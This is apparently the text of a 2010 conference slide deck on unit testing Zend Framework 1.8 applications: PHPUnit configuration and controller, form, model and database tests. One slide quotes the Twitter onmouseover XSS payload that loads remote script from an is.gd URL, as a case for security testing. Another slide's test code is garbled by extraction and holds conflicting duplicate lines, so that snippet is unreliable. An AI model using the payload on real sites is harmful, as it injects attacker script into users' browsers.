SlideShare a Scribd company logo
1 of 79
Download to read offline
Unit Testing after ZF 1.8
         Michelangelo van Dam
      ZendCon 2010, Santa Clara, CA (USA)
Michelangelo van Dam
• Independent Consultant
• Zend Certified Engineer (ZCE)
• President of PHPBenelux
This session


  What has changed with ZF 1.8 ?
How do we set up our environment ?
 How are we testing controllers ?
   How are we testing forms ?
   How are we testing models ?
New to unit testing ?
phpunit.de




  http://www.phpunit.de
Matthew Weier O’Phinney




   http://www.slideshare.net/weierophinney/testing-zend-framework-applications
Giorgio Sironi




http://giorgiosironi.blogspot.com/2009/12/practical-php-testing-is-here.html
Zend Framework 1.8
Birth of Zend_Application
• bootstrapping an “app”
• works the same for any environment
• resources through methods (no registry)
•- clean separation of tests
     unit tests
 -   controller tests
 -   integration tests (db, web services, …)
Types of tests
Unit Testing
•- smallest functional code snippet (unit)
     function or class method
•- aims to challenge logic
     proving A + B gives C (and not D)
• helpful for refactoring
• essential for bug fixing (is it really a bug ?)
• TDD results in better code
• higher confidence for developers -> managers
Controller Testing
•- tests your (ZF) app
     is this url linked to this controller ?
•- detects early errors
    on front-end (route/page not found)
 - on back-end (database changed, service down, …)
• tests passing back and forth of params
• form validation and filtering
• security testing (XSS, SQL injection, …)
Database Testing
•- tests the functionality of your database
     referred to as “integration testing”
•- checks functionality
   CRUD
 - stored procedures
 - triggers and constraints
• verifies no mystery data changes happen
 - UTF-8 in = UTF-8 out
Application Testing
Setting things up
phpunit.xml
<phpunit bootstrap="./TestHelper.php" colors="true">
    <testsuite name="Zend Framework Unit Test Demo">
        <directory>./</directory>
    </testsuite>

    <!-- Optional settings for filtering and logging -->
    <filter>
        <whitelist>
             <directory suffix=".php">../library/</directory>
             <directory suffix=".php">../application/</directory>
             <exclude>
                 <directory suffix=".phtml">../application/</directory>
             </exclude>
        </whitelist>
    </filter>

    <logging>
        <log type="coverage-html" target="./log/report" charset="UTF-8"
         yui="true" highlight="true" lowUpperBound="50" highLowerBound="80"/>
        <log type="testdox-html" target="./log/testdox.html" />
    </logging>
</phpunit>
TestHelper.php
<?php
// set our app paths and environments
define('BASE_PATH', realpath(dirname(__FILE__) . '/../'));
define('APPLICATION_PATH', BASE_PATH . '/application');
define('TEST_PATH', BASE_PATH . '/tests');
define('APPLICATION_ENV', 'testing');

// Include path
set_include_path('.' . PATH_SEPARATOR . BASE_PATH . '/library'
    . PATH_SEPARATOR . get_include_path());

// Set the default timezone !!!
date_default_timezone_set('Europe/Brussels');

require_once 'Zend/Application.php';
$application = new Zend_Application(APPLICATION_ENV,
    APPLICATION_PATH . '/configs/application.ini');
$application->bootstrap();
TestHelper.php
<?php
// set our app paths and environments
define('BASE_PATH', realpath(dirname(__FILE__) . '/../'));
define('APPLICATION_PATH', BASE_PATH . '/application');
define('TEST_PATH', BASE_PATH . '/tests');
define('APPLICATION_ENV', 'testing');

// Include path
set_include_path('.' . PATH_SEPARATOR . BASE_PATH . '/library'
    . PATH_SEPARATOR . get_include_path());

// Set the default timezone !!!
date_default_timezone_set('Europe/Brussels');

require_once 'Zend/Application.php';
$application = new Zend_Application(APPLICATION_ENV,
    APPLICATION_PATH . '/configs/application.ini');
$application->bootstrap();
ControllerTestCase.php
<?php
require_once 'Zend/Application.php';
require_once 'Zend/Test/PHPUnit/ControllerTestCase.php';

abstract class ControllerTestCase extends
Zend_Test_PHPUnit_ControllerTestCase
{
    protected function setUp()
    {
        // we override the parent::setUp() to solve an issue regarding not
        // finding a default module
    }
}
Directory Strategy
/application                 /tests
    /configs                     /application
    /controllers                     /controllers
    /forms                           /forms
    /models                          /models
    /modules                         /modules
         /guestbook                      /guestbook
             /apis                            /apis
             /controllers                     /controllers
             /forms                           /forms
             /models                          /models
             /views
                  /helpers
                  /filters
                  /scripts
    /views
         /helpers
         /filters
         /scripts
/library
/public
/tests
Testing Controllers
Homepage testing
<?php
// file: tests/application/controllers/IndexControllerTest.php
require_once TEST_PATH . '/ControllerTestCase.php';

class IndexControllerTest extends ControllerTestCase
{
    public function testCanWeDisplayOurHomepage()
    {
        // go to the main page of the web application
        $this->dispatch('/');

        // check if we don't end up on an error page
        $this->assertNotController('error');
        $this->assertNotAction('error');

        // ok, no error so let's see if we're at our homepage
        $this->assertModule('default');
        $this->assertController('index');
        $this->assertAction('index');
        $this->assertResponseCode(200);
    }
}
Running the tests
testdox.html
Code coverage
Testing Forms
Guestbook form
fullName
emailAddress
website
comment




               submit
Simple comment form
<?php
class Application_Form_Comment extends Zend_Form
{
    public function init()
    {
        $this->addElement('text', 'fullName', array (
            'label' => 'Full name', 'required' => true));
        $this->addElement('text', 'emailAddress', array (
            'label' => 'E-mail address', 'required' => true));
        $this->addElement('text', 'website', array (
            'label' => 'Website URL', 'required' => false));
        $this->addElement('textarea', 'comment', array (
            'label' => 'Your comment', 'required' => false));
        $this->addElement('submit', 'send', array (
            'Label' => 'Send', 'ignore' => true));
    }
}
CommentController
<?php
   class CommentController extends Zend_Controller_Action
   {
       protected $_session;

      public function init()
      {
          $this->_session = new Zend_Session_Namespace('comment');
      }

      public function indexAction()
      {
          $form = new Application_Form_Comment(array (
              'action' => $this->_helper->url('send-comment'),
              'method' => 'POST',
          ));
          if (isset ($this->_session->commentForm)) {
              $form = unserialize($this->_session->commentForm);
              unset ($this->_session->commentForm);
          }
          $this->view->form = $form;
      }
  }
Comment processing
<?php
   class CommentController extends Zend_Controller_Action
   {
       …

      public function sendCommentAction()
      {
          $request = $this->getRequest();
          if (!$request->isPost()) {
              return $this->_helper->redirector('index');
          }
          $form = new Application_Form_Comment();
          if (!$form->isValid($request->getPost())) {
              $this->_session->commentForm = serialize($form);
              return $this->_helper->redirector('index');
          }
          $values = $form->getValues();
          $this->view->values = $values;
      }
  }
Views
<!-- file: application/views/scripts/comment/index.phtml -->
  <?php echo $this->form ?>

  <!-- file: application/views/scripts/comment/send-comment.phtml -->
  <dl>
  <?php if (isset ($this->values['website'])): ?>
  <dt id="fullName"><a href="<?php echo $this->escape($this->values
  ['website']) ?>"><?php echo $this->escape($this->values['fullName']) ?></a></
  dt>
  <?php else: ?>
  <dt id="fullName"><?php echo $this->escape($this->values['fullName']) ?></dt>
  <?php endif; ?>
  <dd id="comment"><?php echo $this->escape($this->values['comment']) ?></dd>
  </dl>
The Form
Comment processed
And now… testing
Starting simple
<?php
   // file: tests/application/controllers/IndexControllerTest.php
   require_once TEST_PATH . '/ControllerTestCase.php';

   class CommentControllerTest extends ControllerTestCase
   {
       public function testCanWeDisplayOurForm()
       {
           // go to the main comment page of the web application
           $this->dispatch('/comment');

           // check if we don't end up on an error page
           $this->assertNotController('error');
           $this->assertNotAction('error');

           $this->assertModule('default');
           $this->assertController('comment');
           $this->assertAction('index');
           $this->assertResponseCode(200);

           $this->assertQueryCount('form', 1);
                 $this->assertQueryCount('form', 1);
           $this->assertQueryCount('input[type="text"]', 2);

       }
                 $this->assertQueryCount('input[type="text"]', 3);
           $this->assertQueryCount('textarea', 1);

   }             $this->assertQueryCount('textarea', 1);
GET request = index ?
public function testSubmitFailsWhenNotPost()
  {
      $this->request->setMethod('get');
      $this->dispatch('/comment/send-comment');
      $this->assertResponseCode(302);
      $this->assertRedirectTo('/comment');
  }
Can we submit our form ?
public function testCanWeSubmitOurForm()
{
    $this->request->setMethod('post')
                  ->setPost(array (
                    'fullName'      => 'Unit Tester',
                    'emailAddress' => 'test@example.com',
                    'website'       => 'http://www.example.com',
                    'comment'       => 'This is a simple test',
                  ));
    $this->dispatch('/comment/send-comment');

    $this->assertQueryCount('dt', 1);
    $this->assertQueryCount('dd', 1);
    $this->assertQueryContentContains('dt#fullName',
        '<a href="http://www.example.com">Unit Tester</a>');
    $this->assertQueryContentContains('dd#comment', 'This is a simple test');
}
All other cases ?
/**
  * @dataProvider wrongDataProvider
  */
public function testSubmitFailsWithWrongData($fullName, $emailAddress,
$comment)
{
     $this->request->setMethod('post')
                   ->setPost(array (
                     'fullName'      => $fullName,
                     'emailAddress' => $emailAddress,
                     'comment'       => $comment,
                   ));
     $this->dispatch('/comment/send-comment');

    $this->assertResponseCode(302);
    $this->assertRedirectTo('/comment');
}
wrongDataProvider
public function wrongDataProvider()
  {
      return array (
          array ('', '', ''),
          array ('~', 'bogus', ''),
          array ('', 'test@example.com', 'This is correct text'),
          array ('Test User', '', 'This is correct text'),
          array ('Test User', 'test@example.com', str_repeat('a', 50001)),
      );
  }
Running the tests
Our testdox.html
Code Coverage
Practical use
September 21, 2010
CNN reports




http://www.cnn.com/2010/TECH/social.media/09/21/twitter.security.flaw/index.html
The exploit


http://t.co/@”style=”font-size:999999999999px;
”onmouseover=”$.getScript(‘http:u002fu002fis.gd
u002ffl9A7′)”/




  http://www.developerzen.com/2010/09/21/write-your-own-twitter-com-xss-exploit/
Unit Testing (models)
Guestbook Models
Testing models
• uses core PHPUnit_Framework_TestCase class
• tests your business logic !
• can run independent from other tests
•- model testing !== database testing
     model testing tests the logic in your objects
 -   database testing tests the data storage
Model setUp/tearDown
<?php
require_once 'PHPUnit/Framework/TestCase.php';
class Application_Model_GuestbookTest extends PHPUnit_Framework_TestCase
{
    protected $_gb;

    protected function setUp()
    {
        parent::setUp();
        $this->_gb = new Application_Model_Guestbook();
    }
    protected function tearDown()
    {
        $this->_gb = null;
        parent::tearDown();
    }
    …
}
Simple tests
public function testGuestBookIsEmptyAtConstruct()
{
    $this->assertType('Application_Model_GuestBook', $this->_gb);
    $this->assertFalse($this->_gb->hasEntries());
    $this->assertSame(0, count($this->_gb->getEntries()));
    $this->assertSame(0, count($this->_gb));
}
public function testGuestbookAddsEntry()
{
    $entry = new Application_Model_GuestbookEntry();
    $entry->setFullName('Test user')
          ->setEmailAddress('test@example.com')
          ->setComment('This is a test');

    $this->_gb->addEntry($entry);
    $this->assertTrue($this->_gb->hasEntries());
    $this->assertSame(1, count($this->_gb));
}
GuestbookEntry tests
…
public function gbEntryProvider()
{
    return array (
        array (array (
            'fullName' => 'Test User',
            'emailAddress' => 'test@example.com',
            'website' => 'http://www.example.com',
            'comment' => 'This is a test',
            'timestamp' => '2010-01-01 00:00:00',
        )),
        array (array (
            'fullName' => 'Test Manager',
            'emailAddress' => 'testmanager@example.com',
            'website' => 'http://tests.example.com',
            'comment' => 'This is another test',
            'timestamp' => '2010-01-01 01:00:00',
        )),
    );
}

/**
  * @dataProvider gbEntryProvider
  * @param $data
  */
public function testEntryCanBePopulatedAtConstruct($data)
{
     $entry = new Application_Model_GuestbookEntry($data);
     $this->assertSame($data, $entry->__toArray());
}
…
Running the tests
Our textdox.html
Code Coverage
Database Testing
Database Testing
•- integration testing
   seeing records are getting updated
 - data models behave as expected
 - data doesn't change encoding (UTF-8 to Latin1)
• database behaviour testing
 - CRUD
 - stored procedures
 - triggers
 - master/slave - cluster
 - sharding
Caveats
•- database should be reset in a “known state”
     no influence from other tests
•- system failures cause the test to fail
     connection problems
•- unpredictable data fields or types
     auto increment fields
 -   date fields w/ CURRENT_TIMESTAMP
Converting modelTest
Model => database
<?php
  require_once 'PHPUnit/Framework/TestCase.php';
  class Application_Model_GuestbookEntryTest extends PHPUnit_Framework_TestCase
  {
  …
  }

  Becomes

  <?php
  require_once TEST_PATH . '/DatabaseTestCase.php';
  class Application_Model_GuestbookEntryTest extends DatabaseTestCase
  {
  …
  }
DatabaseTestCase.php
<?php
  require_once 'Zend/Application.php';
  require_once 'Zend/Test/PHPUnit/DatabaseTestCase.php';
  require_once 'PHPUnit/Extensions/Database/DataSet/FlatXmlDataSet.php';

  abstract class DatabaseTestCase extends Zend_Test_PHPUnit_DatabaseTestCase
  {
      private $_dbMock;
      private $_application;

      protected function setUp()
      {
          $this->_application = new Zend_Application(
              APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');
          $this->bootstrap = array($this, 'appBootstrap');
          parent::setUp();
      }
      …
DatabaseTestCase.php (2)
    …
        public function appBootstrap()
        {
            $this->application->bootstrap();
        }
        protected function getConnection()
        {
            if (null === $this->_dbMock) {
                $bootstrap = $this->application->getBootstrap();
                $bootstrap->bootstrap('db');
                $connection = $bootstrap->getResource('db');
                $this->_dbMock = $this->createZendDbConnection($connection,'in2it');
                Zend_Db_Table_Abstract::setDefaultAdapter($connection);
            }
            return $this->_dbMock;
        }
        protected function getDataSet()
        {
            return $this->createFlatXMLDataSet(
                dirname(__FILE__) . '/_files/initialDataSet.xml');
        }
}
_files/initialDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
  <dataset>
      <gbentry id="1"
               fullName="Test User"
               emailAddress="test@example.com"
               website="http://www.example.com"
               comment="This is a first test"
               timestamp="2010-01-01 00:00:00"/>
      <gbentry id="2"
               fullName="Obi Wan Kenobi"
               emailAddress="obi-wan@jedi-council.com"
               website="http://www.jedi-council.com"
               comment="May the phporce be with you"
               timestamp="2010-01-01 01:00:00"/>
      <comment id="1" comment= "Good article, thanks"/>
      <comment id="2" comment= "Haha, Obi Wan… liking this very much"/>
      …
  </dataset>
A simple DB test
    public function testNewEntryPopulatesDatabase()
{
    $data = $this->gbEntryProvider();
    foreach ($data as $row) {
        $entry = new Application_Model_GuestbookEntry($row[0]);
        $entry->save();
        unset ($entry);
    }
    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
        $this->getConnection()
    );
    $ds->addTable('gbentry', 'SELECT * FROM gbentry');
    $dataSet = $this->createFlatXmlDataSet(
            TEST_PATH . "/_files/addedTwoEntries.xml");
    $filteredDataSet = new PHPUnit_Extensions_Database_DataSet_DataSetFilter(
        $dataSet, array('gbentry' => array('id')));
    $this->assertDataSetsEqual($filteredDataSet, $ds);
}
location of datasets
<approot>/application
         /public
         /tests
            /_files
                 initialDataSet.xml
                 readingDataFromSource.xml
Running the tests
Our textdox.html
CodeCoverage
Changing records
public function testNewEntryPopulatesDatabase()
{
    $data = $this->gbEntryProvider();
    foreach ($data as $row) {
        $entry = new Application_Model_GuestbookEntry($row[0]);
        $entry->save();
        unset ($entry);
    }
    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
        $this->getConnection()
    );
    $ds->addTable('gbentry', 'SELECT fullName, emailAddress, website, comment,
timestamp FROM gbentry');
    $this->assertDataSetsEqual(
        $this->createFlatXmlDataSet(
            TEST_PATH . "/_files/addedTwoEntries.xml"),
        $ds
    );
}
Expected resultset
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
    <gbentry fullName="Test User" emailAddress="test@example.com"
             website="http://www.example.com" comment="This is a first test"
             timestamp="2010-01-01 00:00:00"/>
    <gbentry fullName="Obi Wan Kenobi" emailAddress="obi-wan@jedi-
council.com"
             website="http://www.jedi-council.com" comment="May the phporce
be with you"
             timestamp="2010-01-01 01:00:00"/>
    <gbentry fullName="Test User" emailAddress="test@example.com"
             website="http://www.example.com" comment="This is a test"
             timestamp="2010-01-01 00:00:00"/>
    <gbentry fullName="Test Manager" emailAddress="testmanager@example.com"
             website="http://tests.example.com" comment="This is another
test"
             timestamp="2010-01-01 01:00:00"/>
</dataset>
location of datasets
<approot>/application
         /public
         /tests
            /_files
                 initialDataSet.xml
                 readingDataFromSource.xml
                 addedTwoEntries.xml
Running the tests
The testdox.html
CodeCoverage
Testing strategies
Desire vs Reality
•- desire
     +70% code coverage
 -   test driven development
 -   clean separation of tests

•- reality
     test what counts first (business logic)
 -   discover the “unknowns” and test them
 -   combine unit tests with integration tests
Automation
•- using a CI system
   continuous running your tests
 - reports immediately when failure
 - provides extra information
  ‣ copy/paste detection
  ‣ mess detection &dependency calculations
  ‣ lines of code
  ‣ code coverage
  ‣ story board and test documentation
  ‣ …
Questions
• http://slideshare.net/DragonBe/unit-testing-after-zf-18
• http://github.com/DragonBe/zfunittest
• http://twitter.com/DragonBe
• http://facebook.com/DragonBe
• http://joind.in/2243
http://conference.phpbenelux.eu

More Related Content

What's hot

Es p gr .1tg (q3&4)insidepp10 12-12
Es p gr .1tg (q3&4)insidepp10 12-12Es p gr .1tg (q3&4)insidepp10 12-12
Es p gr .1tg (q3&4)insidepp10 12-12
Ezekiel Patacsil
 
ENGLISH 3 QUARTER 2 LM
ENGLISH 3 QUARTER 2 LMENGLISH 3 QUARTER 2 LM
ENGLISH 3 QUARTER 2 LM
Sandy Bertillo
 

What's hot (13)

7 rules of simple and maintainable code
7 rules of simple and maintainable code7 rules of simple and maintainable code
7 rules of simple and maintainable code
 
math cot 2.pptx
math cot 2.pptxmath cot 2.pptx
math cot 2.pptx
 
Widgets in odoo
Widgets in odooWidgets in odoo
Widgets in odoo
 
Library management
Library managementLibrary management
Library management
 
Polymorphism in Java
Polymorphism in JavaPolymorphism in Java
Polymorphism in Java
 
php user defined functions
php user defined functionsphp user defined functions
php user defined functions
 
Google guava
Google guavaGoogle guava
Google guava
 
Java Hello World Program
Java Hello World ProgramJava Hello World Program
Java Hello World Program
 
Es p gr .1tg (q3&4)insidepp10 12-12
Es p gr .1tg (q3&4)insidepp10 12-12Es p gr .1tg (q3&4)insidepp10 12-12
Es p gr .1tg (q3&4)insidepp10 12-12
 
ENGLISH 3 QUARTER 2 LM
ENGLISH 3 QUARTER 2 LMENGLISH 3 QUARTER 2 LM
ENGLISH 3 QUARTER 2 LM
 
2012 04-09-v2-tdp-1167-cdi-bestpractices-final
2012 04-09-v2-tdp-1167-cdi-bestpractices-final2012 04-09-v2-tdp-1167-cdi-bestpractices-final
2012 04-09-v2-tdp-1167-cdi-bestpractices-final
 
Week 1 day 1 quarter 1 english grade 4
Week 1 day 1 quarter 1 english grade 4Week 1 day 1 quarter 1 english grade 4
Week 1 day 1 quarter 1 english grade 4
 
Java IO Streams V4
Java IO Streams V4Java IO Streams V4
Java IO Streams V4
 

Viewers also liked

Data flowtesting doc
Data flowtesting docData flowtesting doc
Data flowtesting doc
vamshi batchu
 

Viewers also liked (20)

PHPUnit testing to Zend_Test
PHPUnit testing to Zend_TestPHPUnit testing to Zend_Test
PHPUnit testing to Zend_Test
 
C++ material
C++ materialC++ material
C++ material
 
software testing
software testingsoftware testing
software testing
 
Data flowtesting doc
Data flowtesting docData flowtesting doc
Data flowtesting doc
 
Stm unit1
Stm unit1Stm unit1
Stm unit1
 
Path testing
Path testingPath testing
Path testing
 
Transactionflow
TransactionflowTransactionflow
Transactionflow
 
Testing
Testing Testing
Testing
 
Path testing
Path testingPath testing
Path testing
 
Taxonomy for bugs
Taxonomy for bugsTaxonomy for bugs
Taxonomy for bugs
 
Unit 3 Control Flow Testing
Unit 3   Control Flow TestingUnit 3   Control Flow Testing
Unit 3 Control Flow Testing
 
Bug taxonomy
Bug taxonomyBug taxonomy
Bug taxonomy
 
Normalization in Database
Normalization in DatabaseNormalization in Database
Normalization in Database
 
Path Testing
Path TestingPath Testing
Path Testing
 
Basis path testing
Basis path testingBasis path testing
Basis path testing
 
Software Testing Techniques
Software Testing TechniquesSoftware Testing Techniques
Software Testing Techniques
 
Testing techniques
Testing techniquesTesting techniques
Testing techniques
 
DBMS - Normalization
DBMS - NormalizationDBMS - Normalization
DBMS - Normalization
 
Databases: Normalisation
Databases: NormalisationDatabases: Normalisation
Databases: Normalisation
 
Database Normalization 1NF, 2NF, 3NF, BCNF, 4NF, 5NF
Database Normalization 1NF, 2NF, 3NF, BCNF, 4NF, 5NFDatabase Normalization 1NF, 2NF, 3NF, BCNF, 4NF, 5NF
Database Normalization 1NF, 2NF, 3NF, BCNF, 4NF, 5NF
 

Similar to Unit testing after Zend Framework 1.8

Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012
Michelangelo van Dam
 
ZFConf 2010: Zend Framework & MVC, Model Implementation (Part 2, Dependency I...
ZFConf 2010: Zend Framework & MVC, Model Implementation (Part 2, Dependency I...ZFConf 2010: Zend Framework & MVC, Model Implementation (Part 2, Dependency I...
ZFConf 2010: Zend Framework & MVC, Model Implementation (Part 2, Dependency I...
ZFConf Conference
 
Frameworks da nova Era PHP FuelPHP
Frameworks da nova Era PHP FuelPHPFrameworks da nova Era PHP FuelPHP
Frameworks da nova Era PHP FuelPHP
Dan Jesus
 
10 Things Every Plugin Developer Should Know (WordCamp Atlanta 2013)
10 Things Every Plugin Developer Should Know (WordCamp Atlanta 2013)10 Things Every Plugin Developer Should Know (WordCamp Atlanta 2013)
10 Things Every Plugin Developer Should Know (WordCamp Atlanta 2013)
arcware
 
symfony on action - WebTech 207
symfony on action - WebTech 207symfony on action - WebTech 207
symfony on action - WebTech 207
patter
 

Similar to Unit testing after Zend Framework 1.8 (20)

Unit testing zend framework apps
Unit testing zend framework appsUnit testing zend framework apps
Unit testing zend framework apps
 
Unit testing with zend framework PHPBenelux
Unit testing with zend framework PHPBeneluxUnit testing with zend framework PHPBenelux
Unit testing with zend framework PHPBenelux
 
Unit testing with zend framework tek11
Unit testing with zend framework tek11Unit testing with zend framework tek11
Unit testing with zend framework tek11
 
Workshop quality assurance for php projects tek12
Workshop quality assurance for php projects tek12Workshop quality assurance for php projects tek12
Workshop quality assurance for php projects tek12
 
Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012
 
Workshop quality assurance for php projects - ZendCon 2013
Workshop quality assurance for php projects - ZendCon 2013Workshop quality assurance for php projects - ZendCon 2013
Workshop quality assurance for php projects - ZendCon 2013
 
Workshop quality assurance for php projects - phpbelfast
Workshop quality assurance for php projects - phpbelfastWorkshop quality assurance for php projects - phpbelfast
Workshop quality assurance for php projects - phpbelfast
 
ZFConf 2010: Zend Framework & MVC, Model Implementation (Part 2, Dependency I...
ZFConf 2010: Zend Framework & MVC, Model Implementation (Part 2, Dependency I...ZFConf 2010: Zend Framework & MVC, Model Implementation (Part 2, Dependency I...
ZFConf 2010: Zend Framework & MVC, Model Implementation (Part 2, Dependency I...
 
Refactoring using Codeception
Refactoring using CodeceptionRefactoring using Codeception
Refactoring using Codeception
 
Zend Framework 1.9 Setup & Using Zend_Tool
Zend Framework 1.9 Setup & Using Zend_ToolZend Framework 1.9 Setup & Using Zend_Tool
Zend Framework 1.9 Setup & Using Zend_Tool
 
Bootstrat REST APIs with Laravel 5
Bootstrat REST APIs with Laravel 5Bootstrat REST APIs with Laravel 5
Bootstrat REST APIs with Laravel 5
 
Frameworks da nova Era PHP FuelPHP
Frameworks da nova Era PHP FuelPHPFrameworks da nova Era PHP FuelPHP
Frameworks da nova Era PHP FuelPHP
 
10 Things Every Plugin Developer Should Know (WordCamp Atlanta 2013)
10 Things Every Plugin Developer Should Know (WordCamp Atlanta 2013)10 Things Every Plugin Developer Should Know (WordCamp Atlanta 2013)
10 Things Every Plugin Developer Should Know (WordCamp Atlanta 2013)
 
関西PHP勉強会 php5.4つまみぐい
関西PHP勉強会 php5.4つまみぐい関西PHP勉強会 php5.4つまみぐい
関西PHP勉強会 php5.4つまみぐい
 
symfony on action - WebTech 207
symfony on action - WebTech 207symfony on action - WebTech 207
symfony on action - WebTech 207
 
CodeIgniter PHP MVC Framework
CodeIgniter PHP MVC FrameworkCodeIgniter PHP MVC Framework
CodeIgniter PHP MVC Framework
 
Using and reusing CakePHP plugins
Using and reusing CakePHP pluginsUsing and reusing CakePHP plugins
Using and reusing CakePHP plugins
 
Zend framework service
Zend framework serviceZend framework service
Zend framework service
 
Zend framework service
Zend framework serviceZend framework service
Zend framework service
 
Zend Framework Study@Tokyo #2
Zend Framework Study@Tokyo #2Zend Framework Study@Tokyo #2
Zend Framework Study@Tokyo #2
 

More from Michelangelo van Dam

Zf2 how arrays will save your project
Zf2   how arrays will save your projectZf2   how arrays will save your project
Zf2 how arrays will save your project
Michelangelo van Dam
 

More from Michelangelo van Dam (20)

GDPR Art. 25 - Privacy by design and default
GDPR Art. 25 - Privacy by design and defaultGDPR Art. 25 - Privacy by design and default
GDPR Art. 25 - Privacy by design and default
 
Moving from app services to azure functions
Moving from app services to azure functionsMoving from app services to azure functions
Moving from app services to azure functions
 
Privacy by design
Privacy by designPrivacy by design
Privacy by design
 
DevOps or DevSecOps
DevOps or DevSecOpsDevOps or DevSecOps
DevOps or DevSecOps
 
Privacy by design
Privacy by designPrivacy by design
Privacy by design
 
Continuous deployment 2.0
Continuous deployment 2.0Continuous deployment 2.0
Continuous deployment 2.0
 
Let your tests drive your code
Let your tests drive your codeLet your tests drive your code
Let your tests drive your code
 
General Data Protection Regulation, a developer's story
General Data Protection Regulation, a developer's storyGeneral Data Protection Regulation, a developer's story
General Data Protection Regulation, a developer's story
 
Leveraging a distributed architecture to your advantage
Leveraging a distributed architecture to your advantageLeveraging a distributed architecture to your advantage
Leveraging a distributed architecture to your advantage
 
The road to php 7.1
The road to php 7.1The road to php 7.1
The road to php 7.1
 
Open source for a successful business
Open source for a successful businessOpen source for a successful business
Open source for a successful business
 
Decouple your framework now, thank me later
Decouple your framework now, thank me laterDecouple your framework now, thank me later
Decouple your framework now, thank me later
 
Deploy to azure in less then 15 minutes
Deploy to azure in less then 15 minutesDeploy to azure in less then 15 minutes
Deploy to azure in less then 15 minutes
 
Azure and OSS, a match made in heaven
Azure and OSS, a match made in heavenAzure and OSS, a match made in heaven
Azure and OSS, a match made in heaven
 
Getting hands dirty with php7
Getting hands dirty with php7Getting hands dirty with php7
Getting hands dirty with php7
 
Zf2 how arrays will save your project
Zf2   how arrays will save your projectZf2   how arrays will save your project
Zf2 how arrays will save your project
 
Create, test, secure, repeat
Create, test, secure, repeatCreate, test, secure, repeat
Create, test, secure, repeat
 
The Continuous PHP Pipeline
The Continuous PHP PipelineThe Continuous PHP Pipeline
The Continuous PHP Pipeline
 
PHPUnit Episode iv.iii: Return of the tests
PHPUnit Episode iv.iii: Return of the testsPHPUnit Episode iv.iii: Return of the tests
PHPUnit Episode iv.iii: Return of the tests
 
Easily extend your existing php app with an api
Easily extend your existing php app with an apiEasily extend your existing php app with an api
Easily extend your existing php app with an api
 

Recently uploaded

Easier, Faster, and More Powerful – Alles Neu macht der Mai -Wir durchleuchte...
Easier, Faster, and More Powerful – Alles Neu macht der Mai -Wir durchleuchte...Easier, Faster, and More Powerful – Alles Neu macht der Mai -Wir durchleuchte...
Easier, Faster, and More Powerful – Alles Neu macht der Mai -Wir durchleuchte...
panagenda
 

Recently uploaded (20)

Easier, Faster, and More Powerful – Alles Neu macht der Mai -Wir durchleuchte...
Easier, Faster, and More Powerful – Alles Neu macht der Mai -Wir durchleuchte...Easier, Faster, and More Powerful – Alles Neu macht der Mai -Wir durchleuchte...
Easier, Faster, and More Powerful – Alles Neu macht der Mai -Wir durchleuchte...
 
The Metaverse: Are We There Yet?
The  Metaverse:    Are   We  There  Yet?The  Metaverse:    Are   We  There  Yet?
The Metaverse: Are We There Yet?
 
TEST BANK For, Information Technology Project Management 9th Edition Kathy Sc...
TEST BANK For, Information Technology Project Management 9th Edition Kathy Sc...TEST BANK For, Information Technology Project Management 9th Edition Kathy Sc...
TEST BANK For, Information Technology Project Management 9th Edition Kathy Sc...
 
What's New in Teams Calling, Meetings and Devices April 2024
What's New in Teams Calling, Meetings and Devices April 2024What's New in Teams Calling, Meetings and Devices April 2024
What's New in Teams Calling, Meetings and Devices April 2024
 
Integrating Telephony Systems with Salesforce: Insights and Considerations, B...
Integrating Telephony Systems with Salesforce: Insights and Considerations, B...Integrating Telephony Systems with Salesforce: Insights and Considerations, B...
Integrating Telephony Systems with Salesforce: Insights and Considerations, B...
 
Working together SRE & Platform Engineering
Working together SRE & Platform EngineeringWorking together SRE & Platform Engineering
Working together SRE & Platform Engineering
 
Introduction to FDO and How It works Applications _ Richard at FIDO Alliance.pdf
Introduction to FDO and How It works Applications _ Richard at FIDO Alliance.pdfIntroduction to FDO and How It works Applications _ Richard at FIDO Alliance.pdf
Introduction to FDO and How It works Applications _ Richard at FIDO Alliance.pdf
 
Overview of Hyperledger Foundation
Overview of Hyperledger FoundationOverview of Hyperledger Foundation
Overview of Hyperledger Foundation
 
Continuing Bonds Through AI: A Hermeneutic Reflection on Thanabots
Continuing Bonds Through AI: A Hermeneutic Reflection on ThanabotsContinuing Bonds Through AI: A Hermeneutic Reflection on Thanabots
Continuing Bonds Through AI: A Hermeneutic Reflection on Thanabots
 
PLAI - Acceleration Program for Generative A.I. Startups
PLAI - Acceleration Program for Generative A.I. StartupsPLAI - Acceleration Program for Generative A.I. Startups
PLAI - Acceleration Program for Generative A.I. Startups
 
Enterprise Knowledge Graphs - Data Summit 2024
Enterprise Knowledge Graphs - Data Summit 2024Enterprise Knowledge Graphs - Data Summit 2024
Enterprise Knowledge Graphs - Data Summit 2024
 
WSO2CONMay2024OpenSourceConferenceDebrief.pptx
WSO2CONMay2024OpenSourceConferenceDebrief.pptxWSO2CONMay2024OpenSourceConferenceDebrief.pptx
WSO2CONMay2024OpenSourceConferenceDebrief.pptx
 
Easier, Faster, and More Powerful – Notes Document Properties Reimagined
Easier, Faster, and More Powerful – Notes Document Properties ReimaginedEasier, Faster, and More Powerful – Notes Document Properties Reimagined
Easier, Faster, and More Powerful – Notes Document Properties Reimagined
 
A Business-Centric Approach to Design System Strategy
A Business-Centric Approach to Design System StrategyA Business-Centric Approach to Design System Strategy
A Business-Centric Approach to Design System Strategy
 
WebAssembly is Key to Better LLM Performance
WebAssembly is Key to Better LLM PerformanceWebAssembly is Key to Better LLM Performance
WebAssembly is Key to Better LLM Performance
 
Secure Zero Touch enabled Edge compute with Dell NativeEdge via FDO _ Brad at...
Secure Zero Touch enabled Edge compute with Dell NativeEdge via FDO _ Brad at...Secure Zero Touch enabled Edge compute with Dell NativeEdge via FDO _ Brad at...
Secure Zero Touch enabled Edge compute with Dell NativeEdge via FDO _ Brad at...
 
